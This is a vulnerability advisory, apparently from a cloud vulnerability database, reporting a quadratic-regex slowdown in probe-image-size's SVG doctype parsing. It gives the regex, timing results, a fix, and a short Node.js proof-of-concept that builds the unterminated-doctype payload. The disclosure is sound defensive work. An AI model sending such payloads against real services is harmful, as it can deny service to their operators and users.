
Cloud Vulnerability DB
A community-led vulnerabilities database
Filed here at the maintainer's request, in reply to our email of 2026-10-21: one GitHub report per issue. This is one of four separate reports split out of that email, and it stands alone. Found with AploSec, our security scanner, and confirmed by execution.
The SVG header parser rewrite that fixed GHSA-gjj5-9665-rwrc (CVE-2026-104861) introduced a different quadratic regex, in the doctype alternative. An SVG that opens a doctype internal subset and never closes it costs about 120 ms of event-loop time per probe at the 10 KiB input cap, against under 1 ms for a normal SVG.
lib/common/svg_header.js:32. The doctype alternative of PROLOG_RE is <![A-Za-z][^[>]*(?:\[[\s\S]*?\][^>]*)?>. On <!a[ followed by many ] and no >, the lazy [\s\S]*?\] stops at each ] in turn, and [^>]* then rescans the rest of the input before failing, so the match is O(n^2). The other prolog constructs (processing instructions, comments, CDATA, root attributes, whitespace) are linear in the same test.
Reachable through probe.sync (lib/parse_sync/svg.js) and probe(stream) / probe(url) (lib/parse_stream/svg.js). Both cap the input at MAX_DATA_LENGTH = 10240, which bounds the cost per call.
Attacker model: remote and unauthenticated. The attacker supplies an SVG (bytes or URL) to a service that calls probe-image-size.
const probe = require('probe-image-size')
const hdr = require('probe-image-size/lib/common/svg_header')
const ms = f => { const s = process.hrtime.bigint(); try { f() } catch (e) {} return (Number(process.hrtime.bigint() - s) / 1e6).toFixed(1) }
const attack = n => '<!a[' + ']'.repeat(n - 4) // unterminated doctype internal subset, no '>'
const control = n => '<!a[' + ']'.repeat(n - 4) + '>' // same bytes, terminated
for (const n of [2500, 5000, 10000, 20000, 40000])
console.log('svg_header.parse', n, 'attack', ms(() => hdr.parse(attack(n))), 'ms, control', ms(() => hdr.parse(control(n))), 'ms')
for (const n of [2500, 5000, 10000, 10240, 50000])
console.log('probe.sync', n, 'attack', ms(() => probe.sync(Buffer.from(attack(n), 'latin1'))), 'ms')Test environment: Docker node:22-slim (Node 22.23.4), npm i probe-image-size@7.4.0 (and 7.3.0 in ./old where noted), runs with docker run --rm --network none.
Controls:
> parse in 0.0 to 0.1 ms at every size.'<a'.repeat(n / 2) takes 1,794 ms at 50 KB on 7.3.0 and 0 to 1 ms on 7.4.0, so the parent fix works and the harness can detect slowness.
Results (7.4.0):svg_header.parse n=2500 7.2 ms | 5000 28.2 ms | 10000 115.5 ms | 20000 453.4 ms | 40000 1816.3 ms (4x per doubling)
probe.sync 2500 B 8 ms | 5000 B 30 ms | 10000 B 121 ms | 10240 B 123 ms | 50000 B 124 ms (plateau at the cap)
5 sequential probe.sync calls on the 10240 B payload: 611 ms
probe(stream), single 10240 B chunk: 129 msA rerun of the exact script above on 2026-10-22, on a faster host (Docker on Apple Silicon), gave the same quadratic growth: 3.2 / 12.9 / 42.6 / 215.7 / 623.3 ms for svg_header.parse, and 41 ms for probe.sync at the 10240 B cap.
Feeding the stream parser one > per chunk does not multiply the cost: a > right after the first ] ends the doctype, so only short, linear re-parses happen (137 ms at 10 KiB with 1-byte chunks).
Low. The 10 KiB cap limits each probe to about 120 ms of blocked event loop, roughly 1000x a normal parse. It matters for services that probe many untrusted SVGs, where a sustained request rate turns it into a denial of service.
Make the internal subset scan linear, for example (?:\[[^\]]*\][^>]*)? in place of (?:\[[\s\S]*?\][^>]*)?, or scan the doctype with indexOf instead of a regex.
Zachariah Mithani (zachariah@aplosai.com)
AploSec (aplosec.si)
Credit: Zachariah Mithani (@zachariah-mithani, AploSec)
Source: NVD
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."